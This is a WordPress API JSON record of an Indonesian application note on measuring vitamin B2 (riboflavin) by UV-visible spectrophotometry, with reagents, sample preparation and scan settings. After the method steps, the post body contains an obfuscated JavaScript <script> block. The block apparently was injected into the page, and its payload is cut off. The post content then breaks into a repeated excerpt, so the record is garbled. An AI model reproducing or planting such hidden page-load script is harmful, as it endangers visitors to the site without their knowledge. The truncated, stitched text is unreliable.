{"id":3652,"date":"2025-06-16T13:12:45","date_gmt":"2025-06-16T05:12:45","guid":{"rendered":"https:\/\/www.pgeneral.com\/?p=3652"},"modified":"2025-06-16T13:12:45","modified_gmt":"2025-06-16T05:12:45","slug":"determination-of-vitamin-b%e2%82%82ultraviolet-visible-spectrophotometry","status":"publish","type":"post","link":"https:\/\/www.pgeneral.com\/id\/aplikasi\/determination-of-vitamin-b%e2%82%82ultraviolet-visible-spectrophotometry\/","title":{"rendered":"Penentuan Vitamin B \u2082  (Spektrofotometri Ultraviolet-Terlihat)"},"content":{"rendered":"<ol>\n<li><strong><b> Gambaran Umum Metode<\/b><\/strong><\/li>\n<\/ol>\n<p>Metode ini didasarkan pada GB 12752-2010 National Food Safety Standard &#8211; Aditif Makanan Vitamin B \u2082  (Riboflavin). Setelah melarutkan vitamin B \u2082, itu diencerkan dengan larutan natrium asetat, dan kubet kuarsa 1cm digunakan untuk pemindaian spektral untuk menentukan puncak penyerapan maksimum. Rasio absorbansi pada 375nm ke 267nm harus 0,31 ~ 0,33, dan rasio absorbansi pada 222nm ke 267nm harus 0,36 ~ 0,39.<\/p>\n<ol start=\"2\">\n<li><strong><b>2<\/b><\/strong><strong><b>. Instrumen dan Reagen<\/b><\/strong><\/li>\n<\/ol>\n<p>2.1 Instrumen dan Peralatan<\/p>\n<p>2.1.1 Instrumen Pengujian<\/p>\n<p>Tu1901 Spektrofotometer UV (240nm ~ 465nm)<\/p>\n<p>Cuvette Kuarsa 1cm<\/p>\n<p>2.1.2 Peralatan Praperawatan<\/p>\n<p>Keseimbangan Analisis (presisi 0,001g)<\/p>\n<p>2.2 Reagen<\/p>\n<p>2.2.1 Reagen<\/p>\n<p>Asam asetat glesial<\/p>\n<p>Natrium asetat<\/p>\n<p>2.2.2 Persiapkan Reagen<\/p>\n<p>Solusi natrium asetat (14g \/ L)<\/p>\n<p>Timbangkan 1,4g natrium asetat dan cairkan menjadi 100mL dengan air deionisasi.<\/p>\n<ol start=\"3\">\n<li><strong><b> Prosedur Operasional<\/b><\/strong><\/li>\n<\/ol>\n<p>3.1 Persiapan Sampel<\/p>\n<p>3.1.1 Persiapan Solusi Uji<\/p>\n<p>Timbangkan 15mg sampel bubuk, larutkan dalam 5mL asam asetat dan 200mL air, dan cairkan hingga 500mL.<\/p>\n<p>3.2 Pengujian Sampel<\/p>\n<p>1) Kondisi Pengujian<\/p>\n<p>Lebar pita spektral: 1nm<\/p>\n<p>Kisaran pemindaian: 240nm ~ 465nm<\/p>\n<p>Kecepatan: Medium<\/p>\n<p>Interval: 1nm<\/p>\n<p>2) Pengujian Sampel<\/p>\n<p>Memindai larutan sampel laboratorium untuk mengidentifikasi penyerapan maksimum pada panjang gelombang 444nm \u00b1 1nm, 375nm \u00b1 1nm, dan 267nm \u00b1 1nm, dan mengukur penyerapan (A).<\/p>\n<p>&nbsp;<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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12752-2010 National Food Safety Standard &#8211; Aditif Makanan Vitamin B \u2082  (Riboflavin). Setelah melarutkan vitamin B \u2082, itu diencerkan dengan larutan natrium asetat, dan kubet kuarsa 1cm digunakan untuk pemindaian spektral untuk menentukan puncak penyerapan maksimum. Rasio penyerapan pada 375nm ke 267nm harus [&hellip;]<\/p>","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[36,77],"tags":[],"class_list":["post-3652","post","type-post","status-publish","format-standard","hentry","category-applications","category-bio-tech-and-life-sciences"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.pgeneral.com\/id\/wp-json\/wp\/v2\/posts\/3652","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.pgeneral.com\/id\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.pgeneral.com\/id\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.pgeneral.com\/id\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.pgeneral.com\/id\/wp-json\/wp\/v2\/comments?post=3652"}],"version-history":[{"count":0,"href":"https:\/\/www.pgeneral.com\/id\/wp-json\/wp\/v2\/posts\/3652\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.pgeneral.com\/id\/wp-json\/wp\/v2\/media?parent=3652"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.pgeneral.com\/id\/wp-json\/wp\/v2\/categories?post=3652"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.pgeneral.com\/id\/wp-json\/wp\/v2\/tags?post=3652"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}